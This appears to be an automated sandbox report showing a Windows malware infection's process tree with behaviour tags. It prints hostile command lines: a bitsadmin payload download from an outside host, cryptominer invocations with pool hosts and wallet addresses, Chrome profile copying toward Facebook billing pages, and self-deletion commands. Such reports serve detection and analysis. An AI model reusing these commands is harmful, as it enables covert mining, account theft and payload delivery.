C:\Users\Admin\AppData\Local\Temp\zqurqrr0.qef\LNHOKLIIEB.exeC:\Users\Admin\AppData\Local\Temp\zqurqrr0.qef\LNHOKLIIEB.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b edge11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b chrome11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b firefox11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wamlur3b.p2n\ABCbrowser.exe /VERYSILENT & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\wamlur3b.p2n\ABCbrowser.exeC:\Users\Admin\AppData\Local\Temp\wamlur3b.p2n\ABCbrowser.exe /VERYSILENT9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yh1tuqzj.52k\toolspab1.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\yh1tuqzj.52k\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\yh1tuqzj.52k\toolspab1.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\yh1tuqzj.52k\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\yh1tuqzj.52k\toolspab1.exe10⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b2dyhybw.jzu\inst.exe & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\b2dyhybw.jzu\inst.exeC:\Users\Admin\AppData\Local\Temp\b2dyhybw.jzu\inst.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\xjefoJORZklKVpnxAw\nPgkkMC:\Users\Admin\AppData\Local\Temp\xjefoJORZklKVpnxAw\nPgkkM10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\AOobRkDAZEgCcoNyHo\DvYvWVC:\Users\Admin\AppData\Local\Temp\AOobRkDAZEgCcoNyHo\DvYvWV11⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oct43bkt.uhp\GcleanerWW.exe /mixone & exit8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4a3sqt3s.vil\SunLabsPlayer.exe /S & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\4a3sqt3s.vil\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\4a3sqt3s.vil\SunLabsPlayer.exe /S9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj9A4F.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\onvymjtj.fhv\app.exe /8-2222 & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\onvymjtj.fhv\app.exeC:\Users\Admin\AppData\Local\Temp\onvymjtj.fhv\app.exe /8-22229⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 35210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 35610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 37210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 62010⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 65610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 69610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 59210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 70410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 80810⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 74810⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 71210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 85610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 90010⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 71610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 88410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 87610⤵
- Executes dropped EXE
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 84410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 82410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 74810⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 62010⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 86410⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\onvymjtj.fhv\app.exe"C:\Users\Admin\AppData\Local\Temp\onvymjtj.fhv\app.exe" /8-222210⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 31611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 34811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 36811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 59611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 58411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 66411⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 55611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 67611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 75611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 81211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 78011⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 67211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 88811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 78811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 99611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 128811⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Roaming\28C6.tmp.exe"C:\Users\Admin\AppData\Roaming\28C6.tmp.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\28C6.tmp.exe"C:\Users\Admin\AppData\Roaming\28C6.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\2ADA.tmp.exe"C:\Users\Admin\AppData\Roaming\2ADA.tmp.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w19445@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w25693 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-DQ59I.tmp\IrecCH6.tmp"C:\Users\Admin\AppData\Local\Temp\is-DQ59I.tmp\IrecCH6.tmp" /SL5="$203FC,234767,151040,C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-ME63P.tmp\player_record_48792.exe"C:\Users\Admin\AppData\Local\Temp\is-ME63P.tmp\player_record_48792.exe" /S /UID=irecch66⤵
-
C:\Program Files\Reference Assemblies\PGSGJXJUNP\irecord.exe"C:\Program Files\Reference Assemblies\PGSGJXJUNP\irecord.exe" /VERYSILENT7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-DQC2T.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-DQC2T.tmp\irecord.tmp" /SL5="$204B0,6139911,56832,C:\Program Files\Reference Assemblies\PGSGJXJUNP\irecord.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\recording\i-record.exe"C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu9⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\ae-2f20f-2ee-b2fbc-e659cf7312400\Laezhitewaeqa.exe"C:\Users\Admin\AppData\Local\Temp\ae-2f20f-2ee-b2fbc-e659cf7312400\Laezhitewaeqa.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\67-3d7e4-9f4-50e8e-112c0a7fb7e24\Verubiwiwo.exe"C:\Users\Admin\AppData\Local\Temp\67-3d7e4-9f4-50e8e-112c0a7fb7e24\Verubiwiwo.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sw2xfbfb.r2t\gpooe.exe & exit8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ekf3jajg.xyl\google-game.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\ekf3jajg.xyl\google-game.exeC:\Users\Admin\AppData\Local\Temp\ekf3jajg.xyl\google-game.exe9⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install10⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wggh5zft.ztq\md1_1eaf.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\wggh5zft.ztq\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\wggh5zft.ztq\md1_1eaf.exe9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ymhz04qi.4ip\build.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\ymhz04qi.4ip\build.exeC:\Users\Admin\AppData\Local\Temp\ymhz04qi.4ip\build.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\ymhz04qi.4ip\build.exe" & del C:\ProgramData\*.dll & exit10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build.exe /f11⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 611⤵
- Delays execution with timeout.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vbtxjffx.4uv\askinstall36.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\vbtxjffx.4uv\askinstall36.exeC:\Users\Admin\AppData\Local\Temp\vbtxjffx.4uv\askinstall36.exe9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y10⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/10⤵
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffc174b4f50,0x7ffc174b4f60,0x7ffc174b4f7011⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1988 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1748 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1696 /prefetch:211⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2904 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2896 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3756 /prefetch:111⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1872 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2456 /prefetch:211⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=788 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2520 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5728 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1680,1025688142899510542,3601996559609857422,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5744 /prefetch:811⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mfxd5nng.w3z\KiffApp2.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\mfxd5nng.w3z\KiffApp2.exeC:\Users\Admin\AppData\Local\Temp\mfxd5nng.w3z\KiffApp2.exe9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ltzcjh3e.egg\y1.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\ltzcjh3e.egg\y1.exeC:\Users\Admin\AppData\Local\Temp\ltzcjh3e.egg\y1.exe9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m4uovrx1.0h2\VXHQFFWSLP.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\m4uovrx1.0h2\VXHQFFWSLP.exeC:\Users\Admin\AppData\Local\Temp\m4uovrx1.0h2\VXHQFFWSLP.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"10⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pq4s5aoz.vdb\ABCbrowser.exe /VERYSILENT & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\pq4s5aoz.vdb\ABCbrowser.exeC:\Users\Admin\AppData\Local\Temp\pq4s5aoz.vdb\ABCbrowser.exe /VERYSILENT9⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ixph2sfi.af0\toolspab1.exe & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\ixph2sfi.af0\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ixph2sfi.af0\toolspab1.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\ixph2sfi.af0\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ixph2sfi.af0\toolspab1.exe10⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sirnunom.3nd\inst.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\sirnunom.3nd\inst.exeC:\Users\Admin\AppData\Local\Temp\sirnunom.3nd\inst.exe9⤵
- Suspicious use of SetThreadContext
-
